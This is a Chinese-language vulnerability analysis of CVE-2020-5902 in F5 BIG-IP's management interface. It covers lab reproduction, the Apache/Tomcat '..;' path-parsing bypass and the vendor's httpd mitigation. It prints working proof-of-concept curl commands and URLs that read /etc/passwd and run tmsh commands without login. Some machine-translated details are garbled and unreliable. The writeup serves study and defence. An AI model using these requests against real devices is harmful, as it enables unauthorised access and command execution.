前言
今天早上,Twitter和主要技术论坛爆发了,安全圈中的人们正在讨论F5设备中远程执行代码的漏洞。讨论的大部分是关于共享如何找到目标和利用漏洞的。没有分析漏洞的原因。 CertiK的安全研究人员下载了易受攻击的程序,构建了重现该漏洞的环境,分析了该漏洞的原因,并与以下所有人共享。
背景
F5 BIG-IP是一个应用程序交付平台,集成了网络流量管理,应用程序安全管理和负载平衡等功能。积极技术研究人员Mikhail Kuchniko在其流量管理用户界面(TMUI)中发现了一个远程执行代码漏洞,CVE编号为CVE-2020-5902。漏洞CVSS3得分10分,攻击者可以使用该漏洞创建或删除文件,关闭服务,执行任意系统命令,并最终完全控制服务器。有关CVE的具体表达,请参阅本文底部的参考链接1。
受影响的BIG-IP软件版本
15.0.0-15.1.0.3
14.1.0-14.1.2.5
13.1.0-13.1.3.3
12.1.0-12.1.5.1
11.6.1-11.6.5.1
利用
读取任何文件:
curl -k’https:// [F5主机] /tmui/login.p /..;/ tmui / locallb / workspace / fileRead.p?fileName = / etc / passwd’
远程执行tmsh命令:
curl -k’https:// [F5主机] /tmui/login.p /..;/ tmui / locallb / workspace / tmshCmd.p?command = list + auth + user + admin’
官方给出的临时维修计划(维修将在以后进行分析)
漏洞再现
在F5的官方网站上注册帐户后,您可以从F5的资源库中下载易受攻击的BIG-IP软件。访问参考链接2,下载BIG-IP TMOS(流量管理操作系统)的虚拟机映像。因为CertiK技术人员使用Vmware Fusion,所以他们下载了“用于VMware ESX / i Serer的BIGIP-15.0.0-0.0.39.ALL_1SLOT-mware.oa-Image文件集”
将图像加载到Vmware Fusion(导入)中:
加载后,使用默认的用户名和密码登录系统:
用户名:root
密码:默认
系统初始化后,使用“ ifconfig”命令查询虚拟机IP地址。 CertiK团队的BIG-IP TMUI虚拟机IP地址为“ 172.16.4.137”
在浏览器中访问BIG-IP TMUI登录界面:
https://172.16.4.137/tmui/login.p
**任何读取的文件:
您可以通过在浏览器中访问以下地址来读取“ / etc / passwd”文件的内容:
https://172.16.4.137/tmui/login.p/..;/tmui/locallb/workspace/fileRead.p?fileName=/etc/passwd
要重现tmsh命令执行:
https://172.16.4.137/tmui/login.p/..;/tmui/locallb/workspace/tmshCmd.p?command=list+auth+user+admin
漏洞分析
进入漏洞分析之前,必须先进行清理:用户登录后,可以访问漏洞中的fileRead.p和tmshCmd.p文件。
以下动画显示了登录前后访问以下URL的区别:
https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.p?fileName=/etc/passwd
在登录之前,访问将被重定向回登录界面:
尽管fileRead.p和tmshCmd.p是PoC中最终使用的文件,但它们不是造成漏洞的原因。该漏洞的本质是使用Apache和后台Jaa(tomcat)分别解析URL,以绕过登录限制,并在未经授权的情况下访问后台P模块。 CertiK的技术人员在2018年Orange的BlackHat演讲中首先注意到了这种类的漏洞:“突破解析器逻辑使您的路径规范化无效,并弹出0Days”可以在此处查看演讲稿(请参阅链接2)。
在这里我们可以了解到F5 BIG-IP后端服务器对接收到的URL请求进行两次解析,第一次是httpd(Apache),第二次是Jaa的后一层(tomcat)。
由Apache**解析URL时,Apache专注于URL的前半部分
https://172.16.4.137/tmui/login.p/..;/tmui/locallb/workspace/fileRead.p?fileName=/etc/passwd
当Apache看到前半部分是有效URL且是允许访问的页面时,它将被移交给后面的Layer2。 Apache完全忽略此处URL中的键/..;/。
当第二次解析URL时,以下Jaa(tomcat)将/..;/理解为返回上一级路径。此时,/ login.p /和/..;/将取消。 Tomcat从中看到的真实请求
https://172.16.4.137/tmui/login.p/..;/tmui/locallb/workspace/fileRead.p?fileName=/etc/passwd
成为:
https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.p?fileName=/etc/passwd
接下来,fileRead.p不对接收到的请求进行身份验证,因此fileRead.p在后台直接执行,并且/ etc / passwd文件的内容被读取并返回。
根据上述想法,您实际上可以找到其他利用漏洞的URL,例如:
https://172.16.4.137/tmui/tmui/login/legal.html/..;/..;/locallb/workspace/fileRead.p?fileName=/etc/passwd
“ Https://172.16.4.137/tmui/tmui/login/legal.html”与先前的“ login.p”相同,它是无需登录即可访问的页面。但是因为您想返回两次,您需要使用两个/..;/来偏移“ /login/legal.html”
回到开始提到的官方临时修复解决方案,修复解决方案的实质是在httpd配置中添加以下规则:
包括“
lt;LocationMatch“。* /。/。。*”gt;
重定向404 /
lt;/ LocationMatchgt;
此规则意味着当http服务器检测到URL包含..;时, (句点分号),则直接返回404。这样,利用漏洞的请求就无法到达后台(Layer2)。
如何避免漏洞
在Internet上公开利用此漏洞的利用之后,由于其较低的攻击成本,许多黑客开始使用此漏洞来攻击使用F5 BIG-IP产品的系统。黑客可以以最小的成本获得对目标系统的控制,从而对系统造成巨大破坏。
俗话说:“如果不怕盗贼偷,就会怕贼。”即使这次没有发生此类黑客事件,也并不意味着您安全。因为黑客的下一个目标很可能就是您。
Certik的专业技术团队将帮助您彻底消除这种“小偷烦恼”的烦恼。 CertiK专业渗透测试团队将监视此类事件的发生,并尽快向客户提交漏洞警告报告,以帮助客户了解漏洞的详细信息和保护措施。这将确保客户的系统不受攻击,并且不会遭受财产损失。
同时,作为安全技术人员,当发现新漏洞时,您不仅需要知道黑客如何使用这些漏洞,而且还需要先探究这些漏洞的原因,然后才能积累经验并提高能力。在复杂的系统中找到它们隐藏的漏洞。
CertiK及其技术人员将始终以安全为信念,与所有人一起学习并共同成长。
参考链接:
https://ce.mitre.org/cgi-bin/cename.cgi?name=CVE-2020-5902
https://downloads.f5.com/esd/ecc.s?sw=BIG-IPAMPLpro=big-ip_15.xAMPLer=15.0.0AMPLcontainer=虚拟版本
https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days- Out-2.pdf
文章链接:https://www.btchangqing.cn/51073.html
更新时间:2020年07月07日
本站大部分内容均收集于网络,若内容若侵犯到您的权益,请联系我们,我们将第一时间处理。